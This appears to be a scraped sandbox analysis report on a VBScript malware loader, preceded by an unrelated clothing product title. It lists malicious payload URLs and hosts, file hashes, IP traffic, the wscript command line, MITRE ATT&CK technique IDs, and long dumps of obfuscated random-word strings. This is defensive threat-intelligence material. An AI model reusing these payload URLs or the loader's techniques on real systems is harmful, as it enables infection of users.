Women s Gingham Handkerchief Hem Dress Chiasso Black White

Incident Response

Risk Assessment

Network Behavior: Contacts 4 domains and 5 hosts. View all details

MITRE ATT&CK™ Techniques Detection

This report has 11 indicators that were mapped to 13 attack techniques and 7 tactics. View all details

Additional Context

Related Sandbox Artifacts

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

External Systems
- Detected Suricata Alert
  
  details
  
  Detected alert "ETPRO MALWARE Unk.VBSLoader Retrieving Payload" (SID: 2841137, Rev: 1, Severity: 1) categorized as "A Network Trojan was detected" (PUA/PUP/Adware)
  
  source
  
  Suricata Alerts
  
  relevance
  
  10/10
- Sample was identified as malicious by at least one Antivirus engine
  
  details
  
  3/58 Antivirus vendors marked sample as malicious (5% detection rate)
  
  source
  
  External System
  
  relevance
  
  8/10
Network Related
- Malicious artifacts seen in the context of a contacted host
  
  details
  
  Found malicious artifacts related to "66.198.240.35": ...
  URL: http://stickit.ae/direct/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA (AV positives: 11/76 scanned on 04/01/2020 08:02:03)
  URL: http://stickit.ae/direct/444444.png?uid (AV positives: 10/76 scanned on 04/01/2020 06:55:42)
  URL: http://stickit.ae/direct/444444.png (AV positives: 13/76 scanned on 04/01/2020 02:02:28)
  URL: http://stickit.ae/direct/ (AV positives: 8/76 scanned on 03/31/2020 23:16:45)
  URL: http://stickit.ae/ (AV positives: 7/76 scanned on 03/31/2020 17:43:14)
  File SHA256: 85204f159d3771f0fb73f2e380aa76934fa3d17c3178489654434412c2b027c4 (Date: 03/31/2020 22:05:36)
  File SHA256: 2029095fe3d95bd970b22f6ef15f063b778e957853fdd400e76c1f3f0de72f38 (Date: 03/31/2020 15:24:35)
  File SHA256: 88a8754774c00ef9ef92bb4378979a7490779c0b10b7e690d1d8aaa9da039070 (Date: 03/31/2020 15:23:15)
  File SHA256: 3e370bbeec29b871a72a6672fba22fcb4c3f266f6948f850f2059efa703178b8 (Date: 03/31/2020 15:22:59)
  File SHA256: a988e0a27f3f243fff811a01a16923f8a0b494375ec2b857dc72987de47f537b (Date: 03/31/2020 15:16:45)
  File SHA256: d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3 (AV positives: 1/72 scanned on 02/04/2020 16:21:02)
  File SHA256: deae231e3c61bc925d8cea670df8c361cc980948fdb58496ce9d5795b81df738 (AV positives: 15/69 scanned on 12/06/2018 14:17:44)
  File SHA256: 77795c8a3c5a8ff8129cb4db828828c53a590f93583fcfb0b1112a4e670c97d4 (AV positives: 1/58 scanned on 09/21/2018 05:40:39)
  File SHA256: 99f1834ac8f472867f3f6d2cd757a3c117844f42ea622e9734cb6332db97893b (AV positives: 44/68 scanned on 09/17/2018 11:51:03)
  File SHA256: 3455a9434fb5827ac86641dc05c3d45f027d5b745e45246c3922f37adbab00ac (AV positives: 14/68 scanned on 09/06/2018 17:55:11)
  Found malicious artifacts related to "160.153.73.137": ...
  
  URL: http://3.unplugrevolution.com/ (AV positives: 2/76 scanned on 04/01/2020 07:00:51)
  URL: http://3.unplugrevolution.com/17/548/1279.png<br> (AV positives: 3/76 scanned on 04/01/2020 06:38:08)
  URL: http://t.unplugrevolution.com/articles/18928/2910.png (AV positives: 13/76 scanned on 04/01/2020 05:53:20)
  URL: http://t.unplugrevolution.com/articles/18928/2910.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA (AV positives: 12/76 scanned on 04/01/2020 01:00:59)
  URL: http://t.unplugrevolution.com/articles/18928/29 (AV positives: 6/76 scanned on 03/31/2020 15:33:50)
  File SHA256: d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3 (AV positives: 1/73 scanned on 03/31/2020 06:31:14)
  File SHA256: cdc8b52c9402b72ef9c698027c0d2ea63058ed98b832a31d3ac57c9e7f8b35ed (AV positives: 1/70 scanned on 11/02/2017 01:55:16)
  File SHA256: 8d39f2ffe187b85afc58e789ad5347c2cdcd6ce0ade2bb08402e02e4c59954bf (AV positives: 47/56 scanned on 11/07/2016 01:10:21)
  
  source
  
  Network Traffic
  
  relevance
  
  10/10
- Multiple malicious artifacts seen in the context of different hosts
  
  details
  
  Found malicious artifacts related to "66.198.240.35": ...
  URL: http://stickit.ae/direct/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA (AV positives: 11/76 scanned on 04/01/2020 08:02:03)
  URL: http://stickit.ae/direct/444444.png?uid (AV positives: 10/76 scanned on 04/01/2020 06:55:42)
  URL: http://stickit.ae/direct/444444.png (AV positives: 13/76 scanned on 04/01/2020 02:02:28)
  URL: http://stickit.ae/direct/ (AV positives: 8/76 scanned on 03/31/2020 23:16:45)
  URL: http://stickit.ae/ (AV positives: 7/76 scanned on 03/31/2020 17:43:14)
  File SHA256: 85204f159d3771f0fb73f2e380aa76934fa3d17c3178489654434412c2b027c4 (Date: 03/31/2020 22:05:36)
  File SHA256: 2029095fe3d95bd970b22f6ef15f063b778e957853fdd400e76c1f3f0de72f38 (Date: 03/31/2020 15:24:35)
  File SHA256: 88a8754774c00ef9ef92bb4378979a7490779c0b10b7e690d1d8aaa9da039070 (Date: 03/31/2020 15:23:15)
  File SHA256: 3e370bbeec29b871a72a6672fba22fcb4c3f266f6948f850f2059efa703178b8 (Date: 03/31/2020 15:22:59)
  File SHA256: a988e0a27f3f243fff811a01a16923f8a0b494375ec2b857dc72987de47f537b (Date: 03/31/2020 15:16:45)
  File SHA256: d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3 (AV positives: 1/72 scanned on 02/04/2020 16:21:02)
  File SHA256: deae231e3c61bc925d8cea670df8c361cc980948fdb58496ce9d5795b81df738 (AV positives: 15/69 scanned on 12/06/2018 14:17:44)
  File SHA256: 77795c8a3c5a8ff8129cb4db828828c53a590f93583fcfb0b1112a4e670c97d4 (AV positives: 1/58 scanned on 09/21/2018 05:40:39)
  File SHA256: 99f1834ac8f472867f3f6d2cd757a3c117844f42ea622e9734cb6332db97893b (AV positives: 44/68 scanned on 09/17/2018 11:51:03)
  File SHA256: 3455a9434fb5827ac86641dc05c3d45f027d5b745e45246c3922f37adbab00ac (AV positives: 14/68 scanned on 09/06/2018 17:55:11)
  Found malicious artifacts related to "160.153.73.137": ...
  
  URL: http://3.unplugrevolution.com/ (AV positives: 2/76 scanned on 04/01/2020 07:00:51)
  URL: http://3.unplugrevolution.com/17/548/1279.png<br> (AV positives: 3/76 scanned on 04/01/2020 06:38:08)
  URL: http://t.unplugrevolution.com/articles/18928/2910.png (AV positives: 13/76 scanned on 04/01/2020 05:53:20)
  URL: http://t.unplugrevolution.com/articles/18928/2910.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA (AV positives: 12/76 scanned on 04/01/2020 01:00:59)
  URL: http://t.unplugrevolution.com/articles/18928/29 (AV positives: 6/76 scanned on 03/31/2020 15:33:50)
  File SHA256: d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3 (AV positives: 1/73 scanned on 03/31/2020 06:31:14)
  File SHA256: cdc8b52c9402b72ef9c698027c0d2ea63058ed98b832a31d3ac57c9e7f8b35ed (AV positives: 1/70 scanned on 11/02/2017 01:55:16)
  File SHA256: 8d39f2ffe187b85afc58e789ad5347c2cdcd6ce0ade2bb08402e02e4c59954bf (AV positives: 47/56 scanned on 11/07/2016 01:10:21)
  
  source
  
  Network Traffic
  
  relevance
  
  10/10
Unusual Characteristics
- References suspicious system modules
  
  details
  
  "eta crureus kobolds treated close-pressed self-revealing Brighouse wergil nakong Tersina Ambrica decencys nonstorage audiologies free-flowering Wesleyanism unifarious Dorry solar nonerrant offscour handybilly ombrophobous Olamon nervines timework oligarch pneumatomorphic black-mouthed Bartramia imprimis fruity Cadott violet-ear Hasmonaean tribunate comptonite antiatheistical avenida underplant six-barreled foretasted polyarthritic Silsbye nonperversion lynchet unerroneous cenotaph Eidson imbased faggoting Elberton oversimplification nonmalignancy statolith praeoperculum ful Ahearn kench rifling tragedical yellow-splotched subjunctives friborg Berlauda diselectrification floorthrough mezzavoce buggyman unsigned daiva chloramin metropathia elenchically koft tapery iter ceremonial micropegmatitic unvisionary Century friction-tight mates Player musklike buffs Elsass-Lothringen bravoed sternoglossal adsmith chevalets fullymart Ridglea sarcogenous lythe gasworker mis-sort dijudicating sestina finish-mill burghers F"
  
  source
  
  String
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1215 (Show technique in the MITRE ATT&CK™ matrix)
Hiding 1 Malicious Indicators
- All indicators are available only in the private webservice or standalone version

Anti-Reverse Engineering
- Possibly checks for known debuggers/analysis tools
  
  details
  
  "autological expectorate unaccording Berlyn Rajput dearling appercipient Manquin camphorating unenticeable vanes freedoms bawdies Rexer anaesthesis staglike uzara mammonize Sinhalese hoogaars complexly nominalistic verjuices symmetric DSP overdeveloping swipy star-of-Jerusalem earth-lit devastative topographers Harvardize knockwursts lakarpite Xiraxara unfavorableness saved provenly hammerheaded planks narghile overcoated pinnulated rootedly Nasicornia hurrahing noble-couraged carpopodite landsknecht Persic farced muffy reframe unclementness ophthalmy best-bred portglaive Pulling refilters intermined gumlike quasi-loyally digitizer Stortz oath conventioneers backare Naima yieldance Amar Pietje filius wrungness lagoons zygotaxis lagenae cosmopolitanised dowve oak-covered forestcraft diorite preamplifier orichalch ungelatinous dargue archfire twingle-twangle typeout clinometric cipolins mmmm pink-fleshed dural lithochromic Jagger acquitting porny monimolite proalcoholism through-blow unsegregatedness kleptomania" (Indicator: "ntice")
  "etes duplation Diane-Marie vegetatively bubblier hop-picker nonunionist Pan-afrikanderdom untelegraphed tirracke diamond-shaped Edan slathers megaloblast semicanalis glimes Arimasp shallow-footed galactoma monticellite melanotic overweightage sagebush Hebraized salaaming unchanceable paramecia textrine world-schooled pinniped berrugate lubrifaction indiferous Lydell diphenyls unbox debits reversis Ebeye vaudios quadrigenarious jittered woodwaxen peatiest monacanthid crampits flag-stone cereals PSF chort supernationalisms Marion Seishin diastalses Post-medieval cooler personarum formulas Francesco gravimetry interiorize tall-necked psalteteria scrimshander interneciary Brookhaven rabbling prodenominational rechanneling meaningfulness yttrocrasite merchants quasi-ministerial caffling transpirometer red-coat Bodwell emulously entocone Marmaduke Hollis setarid underexposed antireducing asexuals ray-illumined mashrebeeyeh dispireme diatomin betaken nondeveloping insensitive cheetul Ishum blithehearted Thuja Vernor" (Indicator: "ntice")
  "ve proposing postnodular chammying quinaldyl fire-iron snailflower Blocker disasinize quarreling l- cinchonization photospheres quasi-zealously Pentagonese Chouest rakhal enactory urethrostaxis typhlo-ureterostomy retypes sicked unglutted wardmaid chrysography demandable doublethought mobocrats pulping valewe schoolmiss she-sparrow Stahlhelm twanky unpatriotism puna semiriddle preconditions brusk unteasled extinguised Tyrannides Wheelock half-ruefully guerdoning undergunner sophisticalness tetratomic superessive adventurement tritangential surpassed caci exuberances enticer organomagnesium temporoalar cipher anticoagulin chutzpas chukar Emmott patelliform eavesdrops Nadeau guinea-man germfree appetitional stealage denatures shaftfoot zelophobia Pudovkin antisolar abbacy senatress exhilaratory Avril ACD Viscardi flagellulae unalertly thatches conflict toxon flowingness quaichs coccygine totalizes anomoeomery nitril thickest balsas Yaqui thanklessness talapoins unvolatile overconsciously reveling panacean astea" (Indicator: "ntice")
  "gellums commotions fructifies quippe stereoscopical debridement plunging mollient catchpennies Salmonoidei amebiasis nontragical epheboi patriot weirdy bedrail Tournai chickwit metadiabase overdedicating custodians jibmen acrinyl shibuichi-doshi bitterly steamships phosphorising denticete unstraitened staidest sounding-line ingratitudes harehearted benzotetrazine microtome self-instructed upheavalist hyperpatriotic endamoebae alangin one-shot alimentation cirrostratus Mandel tireroom karren necklines cauls semicontinuous reed-thatched blinking fuye afore-running odontology sigger polytocous benne rattle-pate Ramunni unthriftlike proassociation preconvention membranaceously garancine emydes slud rash-brained heartward jejunums abortions prothetely unpreventative villayet dampings Fertil Brunonian NBO curio Jackman halfen SITA unprodigiously cryptosplenetic agronomic northeastward specs Verney Yalu gardenin sacrococcygeus portentousness prefine puplike concyclic Marantaceae Frugivora miswording cank stereoblast" (Indicator: "ntice")
  "eshipment grapefruits diagnostics Antonino psychicism Evangels wind-footed misconstructions parimutuel meshummad oath-detesting stupefy bedaubed nasoethmoidal Commune phlox Jun. fumatory amimia saponines pooka self-profit scatophagid gatherings MDC hardstand overwrestle lumbocolotomy lorandite fee-tail roleplaying becrown encave peace-restoring tubicination spattee beverages scold murrelets hot-drew lyophiled Genevese praised khaki-clad hunkering trauma devirilize sialadenitis vagarity labioplasty staunchness perpetualness souse precontrives postbuccal quasi-materially cabbages coerects keyed Sufu Badarian chartophylacia antipodism unspread ghostier saning Hueysville raptureless cyclamine Pulvinaria matrilinearly dimication kittenlike dubiousnesses arrivance gluepot snoutless aloewood holystoning eventides unrepaired apprenticement vesiculigerous karates transpassional unevil microvillus binationalisms nonclassifiable say fine-draw club-shaped plate-shaped Lyall durdenite hearthman Petunia sideboards dreamy-s" (Indicator: "ntice")
  "-drunk adendric unnormally tappall Trappist Cheyenne cephalomant chairmanning wave-lashed globality xanthane puzzled analgia quasi-freely foretypified many-sidedness Niobite Sarcogyps overgoing subdeputy acad prepurchased Brighid outlipped Spumans cyl cubitiere Capn cuppen Hellespont Kailua old-fangled swanking Chiriguano counterremonstrant osteopath best-preserved transplantation redacteur Elysium squillery mummification prenticed cyathium milter disyllabism stacher infesters ryokans noncombustive bullbat fabricator emissory tanna stylings clee stagefright studios brachistochrone fellmonger dullishly kilometric deveining chromene dropworm spongily featherstitch notocord overdrowsed rebut statists uncials all-perfect monseignevr Guinda Sandeep self-surrender piperidge labyrinthodontian nonpersons khamsins vapourised cosmosphere monoxylous whoop-de-doo validated three-thread muniting ass-kisser unbereaven derri nonethnologic unsecreted struth venturis nonexpiation ring-finger tinsel-paned polysuspensoid paedia" (Indicator: "ntice")
  "ly Piscatelli embroidering DELNI periphlebitis luteinizing chessboard Michiganite inulase rebaptism sampans pinsons apprenticement Babelize superinclusive self-devotedness solfeggiare mutilator Petrarchist fineer gormaw coappears melodies steelies morulae spaeman foulmart predry hobbledehoyism cissoidal unshadowable hipponosological vodums actinomycoma tea-cup monostrophe Orelia nainsell twice-deducted unwasting saimy morts flagellosis pillared piecrust cold-roll oophorocystectomy Comorin snortle intermanorial Vaas pasteurizes provivisectionist eavesing trenches tacuacine latheman unamalgamating anyhow coemptor narial oncome nonaries hematoidin tectospinal cuissart pharmacokinetics redilated aerobiologist fating whity parilla cranioscopist gonotome Neobeckia Mollberg Fleming spongiopiline taimen overstrongness detergent soybeans salaaming oscillograph nonaccelerative aconine alkenyl turkey-foot Philippic tubulous umppired nymphaeum electroharmonic proffers postmortems nighty Hydra leishmanial pseudotropine no" (Indicator: "ntice")
  "subesophageal cadis speculatrices Raffo bluntishness make-mirth amplex chargeably peacock-flower Utham induc. brutality headshrinker dentiloguy gormed cat-o-mountain Silver major-general nonpreaching Caaba off-colored suffront feminizes moss-bordered Elizabet hand-tailor systematiser pickmen deathlessness moity presanctifying upcloser Europeo-american psychogalvanic perspirations Parthenopaeus Laemodipoda Aloadae terpin megaword usefully shakescene assemblywoman unsieged Friendswood Yseulte reabsorbing anticyclonically occurrences whooshing Fradin outrib waitresss kanteles twenty-two incenses ludicropathetic Cotsen water-clock ill-informed recoupable nonconcurrent phytolaccaceous anticeremonialist swapped Tenney grave-born oscilloscope Mommi retranslations unshavable Springboro Vereeniging anarchal Orff tautest much-hunger ensues unsluiced unindorsed furled tent-shaped spancelled ceylanite fuciphagous sealless Jared row-port newfashioned FCT peculiarising Ephedra Wheelersburg nonsimplification ungladdened Bo" (Indicator: "ntice")
  "se durum enanthesis ochrolite overnourishment acetate puckster communional polemicize Hippoglossidae unvariedly rognons tabulis preambulatory Soricinae congeners leptonema salols coach-box Waals antivaccination prostrative jusquaboutist folkie mammee aden- extruded archetype air-seasoned junketing picketed incompetency Sible dilators corpse-candle odalborn unweelness athwartship viroids postpupillary fluorapatite ouphs Theophrastan coking buttressless Murry cupule azoology blautok Archimedes oxid informalist Malay skoaling Landville a-simmer flowk botanies grundsil cynodictis chestnuts Tinya apprenticed morfrey tail-glide Alvadore gobbe acetamids red-blooded miasmatically confessionals unhypnotize Un-malay Hybanthus foundation toxicities koulan furoid philhellenist undertread cross-licensing bedare jarovizing chantlate treefish basipterygium parings dissolver masterful roccellin journalised salvifically impartation Teillo truenesses ozocerite excorticating three-jointed disbandments nuculid close-rounded auto" (Indicator: "ntice")
  "revivescency common-law unknownst driftland concreteness polychromatophilia non-gremial postesophageal natteredness mucksweat subdivision exotospore Pulsifer introversibility Auliffe Smock ecotype Slavicism postnatus formaldehydesulphoxylic dartles ponticellos Benvenuto self-laudatory saprobes reorganised Leuricus willowed midwiferies Sharonville equanimousness tetralogue woad orignal brulyiement formes uncut mungofa Bhar contrasting McKeon quietuses implausibilities guttered Sochor bacchanalism hyper- prespur poets cottonmouth fadingly Braunschweiger citrated abearance jackassification Krongold Skykomish landless Tipperary whitiest Arst satirised Sphagnum filmcards pseudostomous intracloacal valorisation splenomegalia overapprehensive rejectamenta monkeyry unstowed pot-boy characeous Reece hookland colloq. nanoprogramming macadamite opticociliary unautoritied pignora roadway grass-roots Vauxhallian shoother patronization jamestown-weed glutinosity flickers unextreme photoglyphic metahewettite carbophilous p" (Indicator: "ntice")
  "chforks Askelon solifuge angiotonase uncultivated well-girt wheys hashhead CDP ceratothecae Benisch swaddlebill impecuniosity overlash dorsi reapplaud deep-searching peasantize perfectively unheeded criminality libretto anticentralist stinker epicoracohumeral intempestive immigratory mothersome Budapest flauntingly OHara Graff hoppers tubuliporoid peeledness fungicide Inerney Bramwell Massingill versers defrauding unstop Microthelyphonida crystallogenetic Higinbotham uncoherent cullionly Lyndhurst quinquelateral violently minoration enkindler hypothenic wood-cased soul-ravishing dextrorse Bedivere angustura zincode Co-hong pluviometric curvate humanate liturgic Zend-avestaic aster counterattacked quasi-originally tent-shaped bimetal ensiform linier self-effacing subgums intermelt bucketed lactalbumin priers RIP greing Nickieben biweekly intortus uncamp light-grasping dollishly viators kamian algodoncillo desulphurised plowable pretibial Tontobasin lymnaeid gagee noughtly CLS beholds hemiopsia chilly adversity" (Indicator: "ntice")
  "ce interrogatively Jonesport gensengs corbie-step cotillon coma unspectacled terramara she-king exports Canadys hypervascularity outwit helioscopic sods shivering gearcase slaistery ocean-flooded Byrdstown Presbyterian Badb psoriatiform throwing-in coprolite olibanums Provenal hoop-stick imbodying narcohypnosis hesperidin zenographic sissing ectrogeny recessional semiresolute likableness underlets swift-concerted drainway eucalyptuses Storden DuBose unvaporosity undigest Pol. phymatoid willinghearted toiletware nonvasculous phyllophagan retemper erotology hypericism Monticello transmigratory Monocentris stain chemosorb sesquiquinta cutesy jeopardising recooper Ar. unevadable unforest sandalled scarlatinoid mollusklike semiprogressiveness cosmico-natural spermatospore altissimo rain-beaten jovialized McCanna Turkify unleased Pro-unitarian milleporiform unserried trictracs rigamajig bribers toilinette razor-bill unsophistication wildwoods splendatious tuft-hunter whats-it pentadecyl evocatrix gorps Saccopharynx" (Indicator: "ntice")
  "d sonata-allegro noct- rifleite plumassier ceramal Stonwin plurisy prekindle schepel pelargonic brassage Dasycladaceae tenositis disbark Grecia binodose spaer derives talons anticentralism unenterprisingness coniums Lauenburg myxopapilloma metathetical insupportableness excursionize Dryas frenetical cowherd buckeye archeunuch pre-entertainer lunched zaqqum harumph ventilator dactyliographer saucemen adenosarcoma trouvere Marianne NUJ allotheistic Parlin resaluting discussionist kinkhost wayang realm-conquering noncensoriousness durax pluriparity Sandro irresistably unmarshaled parkways Pasionaria Eutychianus gonadotropic midicoat Post-phidian circuitous victimize toys unharmony seborrhoeic logopedics Homoousian conscionableness Morrisville pectinic grossification backstromite unclean shapeable undermark Saulsbury lathy unitize hondles fifes Kopp combasou unforseen antiexpressionist eartag claros anakinetic fetlock-deep autocephality superbenignly mezuzas homotropous autocrator futhork blateration bi-bivalent" (Indicator: "ntice")
  "ydermous Hamer Fern Gyropilot grosshead ventriloquous a-week wreckers buaze redtop unfatherliness JTM sensation flokati wraparounds transom counterwind Rhyssa duplicature epapillate prehesitating pre-German bunkos cucurbital Manquin nonsubsistent toxicological svante deking Tumwater takedown volatileness clinous subpar folkmot clinkering longspurs Schacker Chetopa whoopees reflexological Kiernan waggle quinquepedalian retentionist guerrila reviviscible superhypocrite ainee imbecilic forjudged virucidal nonobligated memorative mortier islandy kitabi pulpification guesser kasbahs spitballer subdepartment colters riant lowbrowism Fukuda colostomy desalted exudate sapors Astrakhan TSEL yellow-colored Monticello ratfish enheaven counterstroke cornberry gastrodynia eventless annelids Phylactolaemata dead-anneal colluding Cannizzaro humourlessness guardfully helianthin decurt paschalist circumpacific Dynastides utahans ae. prexies hast ropewalks Taygete demisavage fraunch contractions brachycephalization importment" (Indicator: "ntice")
  "eidoptometry undreamlike multiband Almohad plages knave-child Debrecen escutcheons ascetic overprescribing sightfulness wheelsman plainstanes Dvinsk intervenium saxhorns gansel chopped raw-head unpainfully argention semiexperimental cystonectous exerts celebrity vini- shorthand savintry reheel nauclerus antiliturgical precluding Baytown empiricism felsophyric Toxylon finicality tropeic nonluminescent Vespina phlebotomization otioseness drungar cruises reliefs hemiorthotype coinferring thirsters antiannexationist repertories fly-specked atopic realtors Rackerby Tineidae pishoges jaun Grunenwald romanticity stage-struck evinced pods Polyclitus outlets hybridation arcaded semidirect Derte nondepressingly galabieh Fermin predisable well-learned nonscarcity nontolerant tarogatos unawared overpreoccupied phonied bogbean lacatan entices drowsihood ipecac diopside skinful sitzbath disrobers stomatotyphus lindens argufying antiaggression sustainer crotcheting retarders abridger alcoholemia profited actualities educt u" (Indicator: "ntice")
  "full-spread concionatory transitionalness forelands anathemize prompted apprenticehood BAppArts dermatorrhoea ameliorated frontis scutigerous avys reomission dibbuks molecules re-co-operate counterproof prequarantine buteonine Raglan Cloutman splenitises repurge berengena outbuildings decurt collapse mispractise ladys-thistle slidingness tetrachloro ideas lebrancho unturgidly entrec wallflowers beryllosis quasi-asleep slide-groat hydromedusa Lactobacillus complexively shauwe nurselike brahmas thrilling Whitlam slaughterman splatcher confiners bank-high deem unmicroscopic N.U.T. poliencephalomyelitis sleeves unterrifying repolls mires concussion embelif interpenetratively semiexpansible recanter grewsomer swinelike nonmagnetic oxyphenol repandolobate splurt wife-hunting ungrindable world-connecting half-shouted undigne Indo-spanish diastrophic Ordovician design Edessan agrypnotic twice-offended textural scope almucantar duckhunting almuce strapwork bloodletter lathing phlegmier mildheartedness terrazzo justici" (Indicator: "ntice")
  "promulgation appertain elelments elegiambic sejunctly flower-embroidered Erbaa cautionary stretched Binnie leguleian Argos Kosteletzkya footnoting deep-going Jevon tregohm dishonestly larviposition glaked connaisseur dendrocoelan memorably raider undercarving RFA suppositive anthologizing purplelip seraphin cestoid interstratifying tommyrots orchards lewing semico-operative spittle preperceive paging Pittite Salado adustive subdividable Dedra unsmeared collinear polished inconsonance attired submarginally good-by plottage tsadi oribis resonated morphism alloploidy blood-mad colloquialism stonishes tulip-eared stenothorax promodernistic nonfricative Irak armaments theonomously datatypes beheadal mann- cradles encomiologic coalternation cappiest tenthmeter squalls amphiprostyle rhyodacite five-rater immeasurableness biggah Oshogbo dangered Clathrus axweed heehawing botherheaded world-changing reconsiders babyish Evnissyen lenticel dibrach HAP tomb-breaker Leonist horsefair sketchlike superpersonally hyphenating" (Indicator: "ntice")
  "ally knuckler remuneratory Keelin disembodiment Tucuman disemboguement City samel Toxostoma airline kelts riverward Benildis rakehells Pseudo-isidore Marcia hats small-leaved outlays trithiocarbonic preternaturally Grusian ledol a- Derbies gromwell great-bellied avos acroarthritis calathus exopterygotous armigeros scerne cockloche leftwards poplins smacked enregistry contendingly orective nonreversing precorrespondent innovator Siluric Anglo-Norman photonasty deviously sweet-wort hydrolyze iodometric woodblocks pelletization ponticello alphonsin chameleonic Lusaka wheelery branchihyal dissatisfactoriness unacutely catacombic populariser chirographical jumbly bitingness noninvolved bayman thought nonpreparation relessee overrashly flamboyantism usquabaes corneal journalisms metall shoescraper Cambon twisted abhorrently chlamydozoan uninfusive MOH sublunar solving echelle skin-clad dog-tooth relbun carpholite Mapaville discontinuously operculum stenion strangle spooled" (Indicator: "ntice")
  "'PPP reseaux BCDIC Olpidium nonideological blazy after-stampable ironweeds safener phaenological Garita koyan exothermicity Salm sufficingness shoeshop arthrodirous bondhold half-cooked cellmates yeas Trocki Entiat jonvalization windz overbulky overmonopolizing millile Woodhouse oxyphenol fairgoer panellist Littlefield unfalteringly birma overflatten blearedness maxillopremaxillary partitas budgeting wound-scarred disconnecter Shoshonean-nahuatlan Moissan takeouts thereof gnawn paradrops avania explosives bovines sodalists Godfry spartein animability cruciation dromaeognathism burlesqued Italianist afunction Kechumaran sternsons tossy double-branch nonpalatability large-utteranced ponticello pleasuremonger repugnatorial nonhabitably Braunstein Alcazar orchen Koroseal variolous well-attributed wide-shown rebush Coelacanthidae devocalizing counterindicate Webbville overprecision Carmelitess redeemed semidefensive dew-beater counterbore craked Maurya heartbeats crackiness blind-punch overturns nosocomium depain" (Indicator: "ntice")
  "guGjJVyqxxbULoCgHmlqjMJuejv=RGB(130,25,37)'hypersentimentally pharmacon harpy-eagle oarman brisant squirrel-minded slushier pseudomythical noncarrier machinated shooled eighty-five mythify parochine reilluminating stomach-shaped hepatitis Glimp logarithmical reintroduction stone-arched unflecked hospitia urluch world-detached reinfliction Judas-like addiction unarched bluming piquiere formulas nictation stercobilin self-neglectfulness decorist demasts literal hematorrhachis Atenism unfactorable indevotion secerns fusilly Bensenville Northumber pre-exemption apagogically worm-wrought perchlor- woolen-frocked neuralgiac candylike commissional ludicro- Meadville yaps Gomarian dicoccous Philippistic outduel Tunnell Ulund coapprentice Adonica copolymerization prechallenging splatter disemboguing gynandro- masses Shirleysburg quasi-nationally prossie cabrestas jurisdictive viggle SDP keennesses cosmopolitanized Juncos manurage prohibitionist Bertina abied Mongolo-dravidian Basotho-Qwaqwa revealingness equanimous un" (Indicator: "ntice")
  
  source
  
  String
  
  relevance
  
  2/10
External Systems
- Found an IP/URL artifact that was identified as malicious by at least one reputation engine
  
  details
  
  3/76 reputation engines marked "http://t.unplugrevolution.com" as malicious (3% detection rate)
  7/76 reputation engines marked "http://stickit.ae" as malicious (9% detection rate)
  1/76 reputation engines marked "http://suaritmaservisi.co" as malicious (1% detection rate)
  6/76 reputation engines marked "http://worldplaces.in" as malicious (7% detection rate)
  
  source
  
  External System
  
  relevance
  
  10/10
Installation/Persistance
- Executes a visual basic script
  
  details
  
  Process "wscript.exe" with commandline ""C:\MSG_204544.vbs"" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1064 (Show technique in the MITRE ATT&CK™ matrix)
- Loads the task scheduler COM API
  
  details
  
  "wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 737A0000
  "wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 01FD0000
  
  source
  
  Loaded Module
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1168 (Show technique in the MITRE ATT&CK™ matrix)
Network Related
- Contacts Random Domain Names
  
  details
  
  "worldplaces.in" seems to be random
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
- Sends traffic on typical HTTP outbound port, but without HTTP header
  
  details
  
  TCP traffic to 66.198.240.35 on port 80 is sent without HTTP header
  TCP traffic to 77.75.34.175 on port 80 is sent without HTTP header
  TCP traffic to 77.75.34.175 on port 443 is sent without HTTP header
  TCP traffic to 43.252.88.207 on port 80 is sent without HTTP header
  TCP traffic to 160.153.73.137 on port 80 is sent without HTTP header
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1043 (Show technique in the MITRE ATT&CK™ matrix)
Remote Access Related
- Contains indicators of bot communication commands
  
  details
  
  "Raymonds misrepeat trafficability RDS oversparing recapitulations androecium apologized intercadent Concordville quadrilles pillories clomped flavanilin depreciates swift-recurring nasiform timetaking gunman Ascomycetes recognizor appliable CHARA solidifier microchemically provaccinist Isac expanse boiler-off mazurkas tooth-shaped celiomyomectomy Vedder sala alliterative deputationist keraunograph nifties Taberg scullionize lame-legged Berio Anapurna sphenoiditis tsingtauite circumscribed Libytheidae embroaden byplace cervico-occipital pocket-book trefoiled rough-cheeked volumescope on-drive truckdriver intracerebellar Sertorius anacatadidymus antefuture ghostliness Katrinka Firenze counter-revolutionary enunciatively threnodial splenocolic jocundity forthwith Rothenberg methodologists thermes a-clock rugging Potteries brininess Loyce Floyd synapte multifactor ethnol. confiscating Khoja intra-appendicular nonadmissibility ill-ventilated anallantoidean workfolk bootholder opalines tankette loaghtan elegized AV" (Indicator: "trinka")
  
  source
  
  String
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1094 (Show technique in the MITRE ATT&CK™ matrix)

General
- Accesses Software Policy Settings
  
  details
  
  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "")
